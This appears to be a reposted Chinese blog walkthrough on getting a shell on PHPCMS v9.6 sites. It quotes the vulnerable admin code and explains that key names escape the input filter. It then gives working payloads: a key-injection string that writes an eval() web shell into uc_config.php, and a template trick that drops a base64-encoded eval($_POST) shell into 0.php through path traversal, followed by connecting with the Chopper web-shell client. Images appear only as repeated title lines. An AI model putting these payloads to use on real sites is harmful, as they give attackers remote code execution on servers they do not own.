PHPCMS v9.6 Getshell方法大全

V9.6管理员权限getshell:
漏洞存在地址:ROOTDIR/phpsso_server/phpcms/modules/admin/system.php
public function uc() {
        if (isset($_POST['dosubmit'])) {
            $data = isset($_POST['data']) ? $_POST['data'] : '';
            $data['ucuse'] = isset($_POST['ucuse']) && intval($_POST['ucuse']) ? intval($_POST['ucuse']) : 0;
            $filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'system.php';
            $config = include $filepath;
            $uc_config = '<?php '."\ndefine('UC_CONNECT', 'mysql');\n";
            foreach ($data as $k => $v) {
                $old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
                $new[] = "'$k'=>'$v',";
                $uc_config .= "define('".strtoupper($k)."', '$v');\n";
            }
            $html = file_get_contents($filepath);
            $html = str_replace($old, $new, $html);
            $uc_config_filepath = CACHE_PATH.'configs'.DIRECTORY_SEPARATOR.'uc_config.php';
            @file_put_contents($uc_config_filepath, $uc_config);
            @file_put_contents($filepath, $html);
            $this->db->insert(array('name'=>'ucenter', 'data'=>array2string($data)), 1,1);
            showmessage(L('operation_success'), HTTP_REFERER);
        }
        $data = array();
        $r = $this->db->get_one(array('name'=>'ucenter'));
        if ($r) {
            $data = string2array($r['data']);
        }
        include $this->admin_tpl('system_uc');
    }


其中

$data = isset($_POST['data']) ? $_POST['data'] : '';

foreach ($data as $k => $v) {
$old[] = "'$k'=>'".(isset($config[$k]) ? $config[$k] : $v)."',";
$new[] = "'$k'=>'$v',";
$uc_config .= "define('".strtoupper($k)."', '$v');\n";
}

这里可以看到用post方式传递data中key,value并写入/phpsso_server/caches/configs/uc_config.php中


在ROOTDIR/phpcms/libs/classes/param.class.php中

public function __construct() {
if(!get_magic_quotes_gpc()) {
$_POST = new_addslashes($_POST);
$_GET = new_addslashes($_GET);
$_REQUEST = new_addslashes($_REQUEST);
$_COOKIE = new_addslashes($_COOKIE);
}

全局过滤POST 但这里之过滤value 没过滤key


接下来看步骤


 

 

 

  PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞

PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞


代码贴出来:*/eval($_REQUEST['a']);//

name="data[uc_api','11');/*]"

phpcmsv9.6低权限提权(其他版本自测)

添加模板
PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
<?php file_put_contents('0 .php',base64_decode('PD9waHAgQGV2YWwoJF9QT1NUWzVdKTs/Pg==')); ?>
如图一样填完直接保存就OK

然后
PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞

第二个模板,填完先别保存
跳到扩展设置
PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
在专题模板那里对着专题首页右键查看元素后 定位到value='index'
然后替换成上一个模板的路径
PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
../../../../html/special/test/index

注意这里test为你前面的模板名称

PHPCMS v9.6 Getshell方法大全 - level5 - 专注于搞基+各种被搞
修改完毕后会在根目录生成一个0.php//这里可以在前面那段php代码修改 毕竟是写入

菜刀连接之
 
 
 
 https://www.seebug.org/vuldb/ssvid-92959 phpcms任意文件下载
 
 
  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值